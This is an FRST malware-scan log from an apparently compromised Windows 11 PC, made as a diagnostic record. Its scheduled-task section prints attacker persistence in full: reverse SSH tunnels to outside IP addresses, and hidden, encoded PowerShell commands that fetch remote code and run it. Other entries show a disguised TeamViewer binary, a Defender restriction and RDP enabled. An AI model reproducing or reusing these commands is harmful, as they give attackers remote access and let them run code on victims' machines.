Scan result of Farbar Recovery Scan Tool (FRST) (x64) Version: 19-07-2026 01
Ran by miros (administrator) on MIREK (ASUS System Product Name) (20-07-2026 16:05:47)
Running from C:\Users\miros\Downloads\FRST64.exe
Loaded Profiles: miros
Platform: Microsoft Windows 11 Pro Version 22H2 22621.4317 (X64) Language: Čeština (Česko)
Default browser: FF
Boot Mode: Normal

==================== Processes (Whitelisted) =================

(If an entry is included in the fixlist, the process will be closed. The file will not be moved.)

(Brave Software, Inc. -> BraveSoftware Inc.) C:\Program Files (x86)\BraveSoftware\Update\1.3.361.151\BraveCrashHandler.exe
(Brave Software, Inc. -> BraveSoftware Inc.) C:\Program Files (x86)\BraveSoftware\Update\1.3.361.151\BraveCrashHandler64.exe
(C:\Program Files (x86)\Common Files\Aladdin Shared\HASP\hasplms.exe ->) (Thales DIS CPL USA, Inc. -> Thales Group) C:\Program Files (x86)\Common Files\Aladdin Shared\HASP\hasplmv.exe <2>
(C:\Program Files (x86)\Steam\steam.exe ->) (Valve Corp. -> Valve Corporation) C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe
(C:\Program Files\Mozilla Firefox\firefox.exe ->) (Mozilla Corporation -> Mozilla Foundation) C:\Program Files\Mozilla Firefox\crashhelper.exe
(C:\Program Files\WindowsApps\5319275A.WhatsAppDesktop_2.2627.101.0_x64__cv1g1gvanyjgm\WhatsApp.Root.exe ->) (Microsoft Corporation -> Microsoft Corporation) C:\Program Files (x86)\Microsoft\EdgeWebView\Application\150.0.4078.83\msedgewebview2.exe
(C:\Program Files\WindowsApps\MSTeams_26163.405.4842.717_x64__8wekyb3d8bbwe\ms-teams.exe ->) (Microsoft Corporation -> Microsoft Corporation) C:\Program Files (x86)\Microsoft\EdgeWebView\Application\150.0.4078.83\msedgewebview2.exe
(C:\Users\miros\AppData\Roaming\QTUpdate\QTConnect.exe ->) (Microsoft Windows -> Microsoft Corporation) C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe <3>
(C:\Windows\SystemApps\Microsoft.Windows.AppRep.ChxApp_cw5n1h2txyewy\CHXSmartScreen.exe ->) (Microsoft Corporation -> Microsoft Corporation) C:\Users\miros\AppData\Local\Microsoft\OneDrive\26.113.0614.0004\OneDrive.Sync.Service.exe
(Canon Inc. -> CANON INC.) C:\Program Files (x86)\Canon\IJ Network Scanner Selector EX2\CNMNSST2.exe
(DriverStore\FileRepository\u0409016.inf_amd64_2b8774c9217183cc\B408421\atiesrxx.exe ->) (Advanced Micro Devices -> AMD) C:\Windows\System32\DriverStore\FileRepository\u0409016.inf_amd64_2b8774c9217183cc\B408421\atieclxx.exe
(explorer.exe ->) (A FOUR TECH CO., LTD. -> ) C:\Program Files (x86)\BloodyWorkShop8\BloodyWorkShop8\BloodyWorkShop8.exe
(explorer.exe ->) (Geek Software GmbH -> geek software GmbH) C:\Program Files\PDF24\pdf24.exe
(explorer.exe ->) (Realtek Semiconductor Corp. -> Realtek Semiconductor) C:\Windows\System32\DriverStore\FileRepository\realtekservice.inf_amd64_e8d71250669d562e\RtkAudUService64.exe
(explorer.exe ->) (TeamViewer -> TeamViewer GmbH) C:\Users\miros\AppData\Roaming\QTUpdate\QTConnect.exe
(explorer.exe ->) (Valve Corp. -> Valve Corporation) C:\Program Files (x86)\Steam\steam.exe
(Microsoft Corporation -> Microsoft Corporation) C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe <7>
(Microsoft Corporation -> Microsoft Corporation) C:\Program Files (x86)\Microsoft\EdgeWebView\Application\150.0.4078.83\msedgewebview2.exe <11>
(Microsoft Windows -> Microsoft Corporation) C:\Windows\System32\cmd.exe <6>
(Microsoft Windows -> Microsoft Corporation) C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <2>
(Mozilla Corporation -> Mozilla Corporation) C:\Program Files\Mozilla Firefox\firefox.exe <13>
(services.exe ->) () [File not signed] C:\ProgramData\HDService\HDService.exe
(services.exe ->) (Advanced Micro Devices -> AMD) C:\Windows\System32\DriverStore\FileRepository\u0409016.inf_amd64_2b8774c9217183cc\B408421\atiesrxx.exe
(services.exe ->) (Ascensio System SIA -> Ascensio System SIA) C:\Program Files\ONLYOFFICE\DesktopEditors\updatesvc.exe
(services.exe ->) (ASUSTeK COMPUTER INC. -> ASUSTek COMPUTER INC.) C:\Program Files (x86)\ASUS\AsusCertService\AsusCertService.exe
(services.exe ->) (ASUSTeK COMPUTER INC. -> ASUSTeK Computer Inc.) C:\Program Files (x86)\ASUS\AXSP\4.02.23\atkexComSvc.exe
(services.exe ->) (Canon Inc. -> ) C:\Program Files (x86)\Canon\IJPLM\ijplmsvc.exe
(services.exe ->) (DTS, Inc. -> ) C:\Windows\System32\DTS\PC\APO3x\DTSAPO3Service.exe
(services.exe ->) (Geek Software GmbH -> geek software GmbH) C:\Program Files\PDF24\pdf24.exe
(services.exe ->) (HP Inc. -> HP Inc.) C:\Program Files\HPPrintScanDoctor\HPPrintScanDoctorService.exe
(services.exe ->) (Microsoft Corporation -> ) C:\Program Files\OpenSSH\ssh-agent.exe
(services.exe ->) (Microsoft Corporation -> ) C:\Program Files\OpenSSH\sshd.exe
(services.exe ->) (Microsoft Windows Hardware Compatibility Publisher -> Advanced Micro Devices, Inc.) C:\Windows\System32\DriverStore\FileRepository\amdfendr.inf_amd64_05bfde18331c4d58\amdfendrsr.exe
(services.exe ->) (Microsoft Windows Publisher -> Microsoft Corporation) C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26060.3008-0\MpDefenderCoreService.exe
(services.exe ->) (Microsoft Windows Publisher -> Microsoft Corporation) C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26060.3008-0\MsMpEng.exe
(services.exe ->) (Microsoft Windows Publisher -> Microsoft Corporation) C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26060.3008-0\NisSrv.exe
(services.exe ->) (Realtek Semiconductor Corp. -> Realtek Semiconductor) C:\Windows\System32\DriverStore\FileRepository\realtekservice.inf_amd64_e8d71250669d562e\RtkAudUService64.exe
(services.exe ->) (Thales DIS CPL USA, Inc. -> Thales Group) C:\Program Files (x86)\Common Files\Aladdin Shared\HASP\hasplms.exe
(services.exe ->) (Valve Corp. -> Valve Corporation) C:\Program Files (x86)\Common Files\Steam\steamservice.exe
(sihost.exe ->) (24803D75-212C-471A-BC57-9EF86AB91435 -> ) C:\Program Files\WindowsApps\5319275A.WhatsAppDesktop_2.2627.101.0_x64__cv1g1gvanyjgm\WhatsApp.Root.exe
(svchost.exe ->) (Microsoft Corporation -> Microsoft Corporation) C:\Program Files\WindowsApps\Microsoft.SecHealthUI_1000.29554.1001.0_x64__8wekyb3d8bbwe\SecHealthUI.exe
(svchost.exe ->) (Microsoft Corporation -> Microsoft Corporation) C:\Users\miros\AppData\Local\Microsoft\OneDrive\26.113.0614.0004\FileCoAuth.exe
(svchost.exe ->) (Microsoft Windows -> ) C:\Windows\System32\OpenSSH\ssh.exe
(svchost.exe ->) (Microsoft Windows -> Microsoft Corporation) C:\Windows\System32\dllhost.exe
(svchost.exe ->) (Microsoft Windows -> Microsoft Corporation) C:\Windows\System32\SecurityHealth\10.0.29554.1001-0\SecurityHealthHost.exe
(svchost.exe ->) (Microsoft Windows -> Microsoft Corporation) C:\Windows\System32\smartscreen.exe
(svchost.exe ->) (Microsoft Windows -> Microsoft Corporation) C:\Windows\SystemApps\Microsoft.Windows.AppRep.ChxApp_cw5n1h2txyewy\CHXSmartScreen.exe
(svchost.exe ->) (Microsoft Windows -> Microsoft Corporation) C:\Windows\UUS\Packages\Preview\amd64\MoUsoCoreWorker.exe
(Valve Corp. -> Valve Corporation) C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe <6>

==================== Registry (Whitelisted) ===================

HKLM\...\Run: [RtkAudUService] => C:\Windows\System32\DriverStore\FileRepository\realtekservice.inf_amd64_e8d71250669d562e\RtkAudUService64.exe [1350240 2021-09-15] (Realtek Semiconductor Corp. -> Realtek Semiconductor)
HKLM\...\Run: [PDF24] => C:\Program Files\PDF24\pdf24.exe [678624 2026-01-22] (Geek Software GmbH -> geek software GmbH)
HKLM-x32\...\Run: [IJNetworkScannerSelectorEX2] => C:\Program Files (x86)\Canon\IJ Network Scanner Selector EX2\CNMNSST2.exe [279240 2016-12-09] (Canon Inc. -> CANON INC.)
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender: Restriction <==== ATTENTION
HKLM\SYSTEM\...\Terminal Server: [fDenyTSConnections] = 0 <==== ATTENTION
HKU\S-1-5-21-2346025591-3721102785-1987179807-1001\...\Run: [utweb] => "C:\Users\miros\AppData\Roaming\uTorrent Web\utweb.exe" /MINIMIZED (No File)
HKU\S-1-5-21-2346025591-3721102785-1987179807-1001\...\Run: [Steam] => C:\Program Files (x86)\Steam\steam.exe [5773976 2026-06-25] (Valve Corp. -> Valve Corporation)
HKU\S-1-5-21-2346025591-3721102785-1987179807-1001\...\Run: [Volume2] => C:\Users\miros\AppData\Roaming\Volume2\volume2.exe [10368512 2025-09-20] (Alexandr Irza) [File not signed] <==== ATTENTION
HKU\S-1-5-21-2346025591-3721102785-1987179807-1001\...\Run: [Bloody2] => C:\Program Files (x86)\BloodyWorkShop8\BloodyWorkShop8\BloodyWorkShop8.exe [23104128 2025-12-22] (A FOUR TECH CO., LTD. -> )
HKU\S-1-5-21-2346025591-3721102785-1987179807-1001\...\Policies\Explorer: [HideSCAVolume] 0
HKU\S-1-5-21-2346025591-3721102785-1987179807-1001\...\MountPoints2: {0023e1e6-a062-11ef-8679-b8d7132c0fd0} - "I:\Setup.exe" 
HKU\S-1-5-21-2346025591-3721102785-1987179807-1002\...\RunOnce: [Delete Cached Update Binary] => C:\Windows\system32\cmd.exe /q /c del /q "C:\Users\WindowsUpdate\AppData\Local\Microsoft\OneDrive\Update\OneDriveSetup.exe" [85447696 2025-03-06] (Microsoft Corporation -> Microsoft Corporation) <==== ATTENTION
HKU\S-1-5-21-2346025591-3721102785-1987179807-1002\...\RunOnce: [Delete Cached Standalone Update Binary] => C:\Windows\system32\cmd.exe /q /c del /q "C:\Users\WindowsUpdate\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe" (No File) <==== ATTENTION
HKU\S-1-5-21-2346025591-3721102785-1987179807-1002\...\RunOnce: [Uninstall 24.226.1110.0004] => C:\Windows\system32\cmd.exe /q /c rmdir /s /q "C:\Users\WindowsUpdate\AppData\Local\Microsoft\OneDrive\24.226.1110.0004" (No File)
HKLM\...\Windows x64\Print Processors\Canon G3010 series Print Processor: C:\Windows\System32\spool\prtprocs\x64\CNMPDEI.DLL [506368 2023-06-15] (Microsoft Windows Hardware Compatibility Publisher -> CANON INC.)
HKLM\...\Print\Monitors\Canon BJ Language Monitor G3010 series: C:\Windows\system32\CNMLMEI.DLL [1325568 2023-06-15] (Microsoft Windows Hardware Compatibility Publisher -> CANON INC.)
HKLM\Software\Microsoft\Active Setup\Installed Components: [{AFE6A462-C574-4B8A-AF43-4CC60DF4563B}] -> C:\Program Files\BraveSoftware\Brave-Browser\Application\150.1.92.141\Installer\chrmstp.exe [6145616 2026-07-17] (Brave Software, Inc. -> Brave Software, Inc.)
Startup: C:\Users\miros\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Team Viewer.lnk [2026-07-20]
ShortcutTarget: Team Viewer.lnk -> C:\Users\miros\AppData\Roaming\QTUpdate\QTConnect.exe (TeamViewer -> TeamViewer GmbH)

==================== Scheduled Tasks (Whitelisted) =================

(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)

Task: {1833F219-D205-4EFE-8FD9-37527D638DD2} - System32\Tasks\Apple Sync => C:\Windows\System32\OpenSSH\ssh.exe [1243648 2024-10-09] (Microsoft Windows -> ) -> -N -R 31999:localhost:1389 vNqEZgr25T4@104.243.43.16 -i "C:\Users\miros\.ssh\vNqEZgr25T4.31999" -F "C:\Users\miros\.ssh\config" <==== ATTENTION
Task: {4E8AE0E6-A89D-47EE-AC9B-6586A455C4A6} - System32\Tasks\ASUS\NoiseCancelingEngine => C:\Program Files (x86)\ASUS\ArmouryDevice\dll\MBLedSDK\NoiseCancelingEngine.exe  (No File)
Task: {A244B14E-9628-48AC-9824-80CF7E67C603} - System32\Tasks\ASUS\P508PowerAgent_sdk => C:\Program Files (x86)\ASUS\ArmouryDevice\dll\ShareFromArmouryIII\Mouse\ROG STRIX CARRY\P508PowerAgent.exe  (No File)
Task: {0A05557D-F7C1-49E3-AAA0-C93F728BA0E2} - System32\Tasks\BraveSoftwareUpdateTaskMachineCore{33F54ECA-FFAC-434A-AC2A-04767A969AD4} => C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe [175416 2023-09-03] (Brave Software, Inc. -> BraveSoftware Inc.)
Task: {88C6BA4E-2CDC-4FF3-954F-88E46F2DF952} - System32\Tasks\BraveSoftwareUpdateTaskMachineUA{6AED7C09-E687-4E18-817B-D5FF1630A340} => C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe [175416 2023-09-03] (Brave Software, Inc. -> BraveSoftware Inc.)
Task: {D829AC16-2637-485E-9A7B-E5780032139C} - System32\Tasks\GDrive Backup Sync => C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe [450560 2024-02-14] (Microsoft Windows -> Microsoft Corporation) -> -ep bypass -w hidden -nop -enc JABMAGkAbgBrAEkARQBYACAAPQAgACcAaAB0AHQAcABzADoALwAvAGsAYgBlAGEAdQB0AHkAcgBlAHYAaQBlAHcAcwAuAGMAbwBtACcAOwAKACQAQwA9AGkAdwByACAAJABMAGkAbgBrAEkARQBYACAALQBVAHMARQBCAGEAUwBJAGMAUABBAHIAcwBpAE4AZwAgAHwAaQBlAHgAOwA= <==== ATTENTION
Task: {EEB39A91-F9E1-463F-B312-C604854CE6DE} - System32\Tasks\GoogleUpdaterTask => C:\Users\miros\.ssh\ssh.exe [4189 2026-07-20] () [File not signed] -> -N -R 31999:localhost:109 QoKxV3iuB06@62.210.188.209 -i "C:\Users\miros\.ssh\QoKxV3iuB06.31999" -f "C:\Users\miros\.ssh\config" <==== ATTENTION
Task: {76BDDBEA-8984-4FC1-B9AB-FCEABDED68B7} - System32\Tasks\HP\HP Print Scan Doctor\Printer Health Monitor => C:\Program Files\HPPrintScanDoctor\HPPrinterHealthMonitor.exe [95752 2026-06-26] (HP Inc. -> HP Inc.)
Task: {C5CBFF19-9757-40B9-94D3-1B1CD9A25DBA} - System32\Tasks\HP\HP Print Scan Doctor\Printer Health Monitor Logon => C:\Program Files\HPPrintScanDoctor\HPPrinterHealthMonitor.exe [95752 2026-06-26] (HP Inc. -> HP Inc.)
Task: {E0F10DCF-44AD-40E8-9370-FB5DA59F93FB} - System32\Tasks\Microsoft\Windows\UpdateOrchestrator\USO_UxBroker => %systemroot%\system32\MusNotification.exe  (No File)
Task: {2D0664B5-9809-4729-B941-D12320ACC694} - System32\Tasks\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance => C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26060.3008-0\MpCmdRun.exe [1893920 2026-07-08] (Microsoft Windows Publisher -> Microsoft Corporation)
Task: {2555749B-105F-4D5B-B275-89253CF6EDA3} - System32\Tasks\Microsoft\Windows\Windows Defender\Windows Defender Cleanup => C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26060.3008-0\MpCmdRun.exe [1893920 2026-07-08] (Microsoft Windows Publisher -> Microsoft Corporation)
Task: {831ECBE1-A092-44F7-BCF0-03E39CC4F098} - System32\Tasks\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan => C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26060.3008-0\MpCmdRun.exe [1893920 2026-07-08] (Microsoft Windows Publisher -> Microsoft Corporation)
Task: {B79B84BA-5A07-4DAD-A191-75E0890DD4BE} - System32\Tasks\Microsoft\Windows\Windows Defender\Windows Defender Verification => C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26060.3008-0\MpCmdRun.exe [1893920 2026-07-08] (Microsoft Windows Publisher -> Microsoft Corporation)
Task: {C2E660AE-4B6A-4334-BD58-DE2D86EDA0FC} - System32\Tasks\Mozilla\Firefox Background Update S-1-5-21-2346025591-3721102785-1987179807-1001 308046B0AF4A39CB => C:\Program Files\Mozilla Firefox\firefox.exe [705152 2026-07-14] (Mozilla Corporation -> Mozilla Corporation) -> C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\308046B0AF4A39CB\--MOZ_LOG sync,prependheader,timestamp,append,maxsize:1,Dump:5 --MOZ_LOG_FILE C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\308046B0AF4A39CB\backgroundupdate.moz_log --backgroundtask background (the data entry has 6 more characters).
Task: {25D4D4CB-BA48-466B-A2E6-65F2A40CEE2C} - System32\Tasks\Mozilla\Firefox Default Browser Agent 308046B0AF4A39CB => C:\Program Files\Mozilla Firefox\default-browser-agent.exe [33920 2026-07-14] (Mozilla Corporation -> Mozilla Foundation)
Task: {71046183-2D8D-4B08-80AF-3B333DD29BC3} - System32\Tasks\OneDrive Reporting => C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe [450560 2024-02-14] (Microsoft Windows -> Microsoft Corporation) -> -ep bypass -w hidden -nop -enc JABDAD0AaQB3AHIAIABoAHQAdABwAHMAOgAvAC8AcgBlAGMAYQB2AGIAMgAyAC4AbwBuAGwAaQBuAGUAIAAtAFUAcwBFAEIAYQBTAEkAYwBQAEEAcgBzAGkATgBnACAAfABpAGUAeAA= <==== ATTENTION
Task: {3CFB5663-BADE-4440-B513-CFCCA1DE6DDA} - System32\Tasks\OneDrive Sync => C:\Users\miros\.ssh\ssh.exe [4189 2026-07-20] () [File not signed] -> -N -R 31999:localhost:109 QoKxV3iuB06@209.222.101.116 -i "C:\Users\miros\.ssh\QoKxV3iuB06.31999" -f "C:\Users\miros\.ssh\config" <==== ATTENTION

(If an entry is included in the fixlist, the task (.job) file will be moved. The file which is running by the task will not be moved.)


==================== Internet (Whitelisted) ====================

(If an item is included in the fixlist, if it is a registry item it will be removed or restored to default.)

Tcpip\Parameters: [DhcpNameServer] 192.168.1.1
Tcpip\..\Interfaces\{341831b6-630f-48f3-9f42-a4f82e7bbbfc}: [DhcpNameServer] 192.168.1.1
Tcpip\..\Interfaces\{341831b6-630f-48f3-9f42-a4f82e7bbbfc}\0527164656C6E616: [DhcpNameServer] 192.168.1.101
Tcpip\..\Interfaces\{341831b6-630f-48f3-9f42-a4f82e7bbbfc}\255646D69602E4F64756021323: [DhcpNameServer] 10.149.140.173
Tcpip\..\Interfaces\{341831b6-630f-48f3-9f42-a4f82e7bbbfc}\4505D2C496E6B6F534832354: [DhcpNameServer] 192.168.1.1
Tcpip\..\Interfaces\{341831b6-630f-48f3-9f42-a4f82e7bbbfc}\45F6071637D233338373: [DhcpNameServer] 10.0.0.1
Tcpip\..\Interfaces\{341831b6-630f-48f3-9f42-a4f82e7bbbfc}\F43747275737A7B6F6679602537486A7: [DhcpNameServer] 192.168.1.1

FireFox:
========
FF TaskBarID: 308046B0AF4A39CB -> C:\Program Files\Mozilla Firefox
FF DefaultProfile: ytgzmbwe.default-release -> 308046B0AF4A39CB
FF ProfilePath: C:\Users\miros\AppData\Roaming\Mozilla\Firefox\Profiles\tzrkdxvb.default [2026-04-15]
FF ProfilePath: C:\Users\miros\AppData\Roaming\Mozilla\Firefox\Profiles\ytgzmbwe.default-release [2026-07-20]
FF Extension: (Blokátor reklam AdGuard) - C:\Users\miros\AppData\Roaming\Mozilla\Firefox\Profiles\ytgzmbwe.default-release\Extensions\adguardadblocker@adguard.com.xpi [2026-05-18]
FF Extension: (AdBlocker for YouTube™) - C:\Users\miros\AppData\Roaming\Mozilla\Firefox\Profiles\ytgzmbwe.default-release\Extensions\jid1-q4sG8pYhq8KGHs@jetpack.xpi [2026-05-06]
FF Extension: (New Tab) - C:\Users\miros\AppData\Roaming\Mozilla\Firefox\Profiles\ytgzmbwe.default-release\Extensions\newtab@mozilla.org.xpi [2026-07-17]

Edge: 
=======
Edge Profile: C:\Users\miros\AppData\Local\Microsoft\Edge\User Data\Default [2026-07-20]
Edge HomePage: Default -> hxxp://%66%65%65%64.%73%6E%61%70%64%6F.%63%6F%6D/?p=mKO_AwFzXIpYRaHdGIjVkxlyIP4NYe17aVLWqICWRlg5p-Tqs2VjJdT4c5SDM8LfNPF766h8uygA21Rem5_H-K4iV28jUAPxKkL-xkuEKmefVZKrVWRkqhqJHajANi0B_XuyZ3_pwFz2OOITqPlkx50uriDqJrPXHGbr74xRo4SY32JdYnpQLrkqPG21S0J2R4Z6QSUakfrS
Edge Extension: (Dokumenty Google offline) - C:\Users\miros\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi [2026-06-25]
Edge Extension: (Edge relevant text changes) - C:\Users\miros\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha [2024-01-24]
Edge Extension: (Adblock for YouTube - Web & Youtube Adblocker) - C:\Users\miros\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\nmclgbbhicklhbcljcobainbdhdckamc [2023-09-03]
Edge Extension: (GStat) - C:\Users\miros\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\gjmignimbakkmjdmjpgghpmikmlpfjgi [2026-04-15] [UpdateUrl:0] <==== ATTENTION

Brave: 
=======
BRA Profile: C:\Users\miros\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default [2026-07-20]
BRA Extension: (Brave Ad Block Updater (Brave First Party Adblock Filters (plaintext))) - C:\Users\miros\AppData\Local\BraveSoftware\Brave-Browser\User Data\adcocjohghhfpidemphmcmlmhnfgikei [2026-07-15]
BRA Extension: (Brave Local Data Files Updater) - C:\Users\miros\AppData\Local\BraveSoftware\Brave-Browser\User Data\afalakplffnnnlkncjhbmahjfjhmlkal [2026-07-17]
BRA Extension: (Brave NTP background images) - C:\Users\miros\AppData\Local\BraveSoftware\Brave-Browser\User Data\aoojcmojmmcbpfgoecoadbdpnagfchel [2026-07-11]
BRA Extension: (Brave Ad Block Updater (Mobile app promo blocker (plaintext))) - C:\Users\miros\AppData\Local\BraveSoftware\Brave-Browser\User Data\bfpgedeaaibpoidldhjcknekahbikncb [2026-07-20]
BRA Extension: (Wallet Data Files Updater) - C:\Users\miros\AppData\Local\BraveSoftware\Brave-Browser\User Data\BraveWallet [2024-01-22]
BRA Extension: (Brave Ad Block Updater (Cookie notice blocker (plaintext))) - C:\Users\miros\AppData\Local\BraveSoftware\Brave-Browser\User Data\cdbbhgbmjhfnhnmgeddbliobbofkgdhe [2026-07-20]
BRA Extension: (Query Filter) - C:\Users\miros\AppData\Local\BraveSoftware\Brave-Browser\User Data\cemdlagocoimleflkfkjoihojfainiho [2026-07-20]
BRA Extension: (Brave Tor Client Updater (Windows)) - C:\Users\miros\AppData\Local\BraveSoftware\Brave-Browser\User Data\cpoalefficncklhjfpglfiplenlpccdb [2025-05-24]
BRA Extension: (Brave NTP sponsored images) - C:\Users\miros\AppData\Local\BraveSoftware\Brave-Browser\User Data\efkihffiamafhbhefjaljejgdpkelpal [2026-07-20]
BRA Extension: (Brave Ad Block Updater (Regional Catalog)) - C:\Users\miros\AppData\Local\BraveSoftware\Brave-Browser\User Data\gkboaolpopklhgplhaaiboijnklogmbc [2026-06-27]
BRA Extension: (Brave NTP Super Referrer mapping table) - C:\Users\miros\AppData\Local\BraveSoftware\Brave-Browser\User Data\heplpbhjcbmiibdlchlanmdenffpiibo [2023-09-03]
BRA Extension: (Brave Ads Resources) - C:\Users\miros\AppData\Local\BraveSoftware\Brave-Browser\User Data\iejekkikpddbbockoldagmfcdbffomfc [2026-02-20]
BRA Extension: (Brave Ad Block Updater (Brave Default Adblock Filters (plaintext))) - C:\Users\miros\AppData\Local\BraveSoftware\Brave-Browser\User Data\iodkpdagapdfkphljnddpjlldadblomo [2026-07-20]
BRA Extension: (Brave Ad Block Updater (Brave Default Privacy Filters (plaintext))) - C:\Users\miros\AppData\Local\BraveSoftware\Brave-Browser\User Data\kihnoaefogbkmblfimmibknnmkllbhlf [2026-07-20]
BRA Extension: (Brave Ad Block Updater (Resources)) - C:\Users\miros\AppData\Local\BraveSoftware\Brave-Browser\User Data\mfddibmblmbccpadfndgakiopmmhebop [2026-07-15]
BRA Extension: (Brave User Agent) - C:\Users\miros\AppData\Local\BraveSoftware\Brave-Browser\User Data\nlpaeekllejnmhoonlpcefpfnpbajbpe [2026-07-20]
BRA Extension: (Brave Ad Block Updater (Czech and Slovak website ad blocker (plaintext))) - C:\Users\miros\AppData\Local\BraveSoftware\Brave-Browser\User Data\oegebjahecghlckbhkmojgnpcgdeajdi [2026-06-01]
BRA Extension: (Brave HTTPS Everywhere Updater) - C:\Users\miros\AppData\Local\BraveSoftware\Brave-Browser\User Data\oofiananboodjbbmdelgdommihjbkfag [2023-10-24]
BRA Extension: (P3A Configuration) - C:\Users\miros\AppData\Local\BraveSoftware\Brave-Browser\User Data\P3AConfig [2025-08-06]

==================== Services (Whitelisted) ===================

(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)

R2 asComSvc; C:\Program Files (x86)\ASUS\AXSP\4.02.23\atkexComSvc.exe [896872 2023-05-19] (ASUSTeK COMPUTER INC. -> ASUSTeK Computer Inc.)
R2 AsusCertService; C:\Program Files (x86)\ASUS\AsusCertService\AsusCertService.exe [558104 2022-05-19] (ASUSTeK COMPUTER INC. -> ASUSTek COMPUTER INC.)
S2 AsusUpdateCheck; C:\Windows\System32\AsusUpdateCheck.exe [845256 2026-07-17] (ASUSTeK Computer Inc. -> )
S3 BEService; C:\Program Files (x86)\Common Files\BattlEye\BEService.exe [20352680 2025-11-13] (BattlEye Innovations e.K. -> )
S2 brave; C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe [175416 2023-09-03] (Brave Software, Inc. -> BraveSoftware Inc.)
S3 BraveElevationService; C:\Program Files\BraveSoftware\Brave-Browser\Application\150.1.92.141\elevation_service.exe [4834896 2026-07-17] (Brave Software, Inc. -> Brave Software, Inc.)
S3 bravem; C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe [175416 2023-09-03] (Brave Software, Inc. -> BraveSoftware Inc.)
R2 DTSAPO3Service; C:\Windows\System32\DTS\PC\APO3x\DTSAPO3Service.exe [222104 2020-07-16] (DTS, Inc. -> )
R2 hasplms; C:\Program Files (x86)\Common Files\Aladdin Shared\HASP\hasplms.exe [7892472 2021-07-07] (Thales DIS CPL USA, Inc. -> Thales Group)
R2 HDService; C:\ProgramData\HDService\HDService.exe [1266688 2024-05-20] () [File not signed] <==== ATTENTION
R2 HPPrintScanDoctorService; C:\Program Files\HPPrintScanDoctor\HPPrintScanDoctorService.exe [244232 2026-06-26] (HP Inc. -> HP Inc.)
R2 IJPLMSVC; C:\Program Files (x86)\Canon\IJPLM\IJPLMSVC.EXE [460992 2025-04-18] (Canon Inc. -> )
R2 MDCoreSvc; C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26060.3008-0\MpDefenderCoreService.exe [2100520 2026-07-08] (Microsoft Windows Publisher -> Microsoft Corporation)
R2 ONLYOFFICE Update Service; C:\Program Files\ONLYOFFICE\DesktopEditors\updatesvc.exe [545488 2023-07-28] (Ascensio System SIA -> Ascensio System SIA)
R2 PDF24; C:\Program Files\PDF24\pdf24.exe [678624 2026-01-22] (Geek Software GmbH -> geek software GmbH)
S3 Rockstar Service; C:\Program Files\Rockstar Games\Launcher\RockstarService.exe [1565304 2025-12-11] (Rockstar Games, Inc. -> Rockstar Games)
S3 Sense; C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe [530448 2024-09-11] (Microsoft Windows Publisher -> Microsoft Corporation)
R2 ssh-agent; C:\Program Files\OpenSSH\ssh-agent.exe [560184 2024-10-10] (Microsoft Corporation -> )
R2 sshd; C:\Program Files\OpenSSH\sshd.exe [771640 2024-10-10] (Microsoft Corporation -> )
R3 TermService; C:\Windows\System32\termsrv.dll [1351680 2026-06-20] (Microsoft Corporation) [File not signed] <==== ATTENTION
R3 WdNisSvc; C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26060.3008-0\NisSrv.exe [4769792 2026-07-08] (Microsoft Windows Publisher -> Microsoft Corporation)
R2 WinDefend; C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26060.3008-0\MsMpEng.exe [290704 2026-07-08] (Microsoft Windows Publisher -> Microsoft Corporation)

===================== Drivers (Whitelisted) ===================

(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)

R2 aksdf; C:\Windows\system32\drivers\aksdf.sys [389560 2021-07-07] (Gemalto, Inc. -> SafeNet, Inc.)
R3 akshasp; C:\Windows\system32\DRIVERS\akshasp.sys [69560 2021-07-07] (Gemalto, Inc. -> SafeNet, Inc.)
R3 akshhl; C:\Windows\system32\DRIVERS\akshhl.sys [68536 2021-07-07] (Gemalto, Inc. -> SafeNet, Inc.)
R3 aksusb; C:\Windows\system32\DRIVERS\aksusb.sys [313784 2021-07-07] (Gemalto, Inc. -> SafeNet, Inc.)
R3 amdfendrmgr; C:\Windows\System32\DriverStore\FileRepository\amdfendr.inf_amd64_05bfde18331c4d58\amdfendrmgr.sys [36016 2024-07-30] (Microsoft Windows Hardware Compatibility Publisher -> Advanced Micro Devices, Inc.)
R3 amdgpio3; C:\Windows\System32\drivers\amdgpio3.sys [36928 2022-09-16] (ASMedia Technology Inc. -> Advanced Micro Devices, Inc)
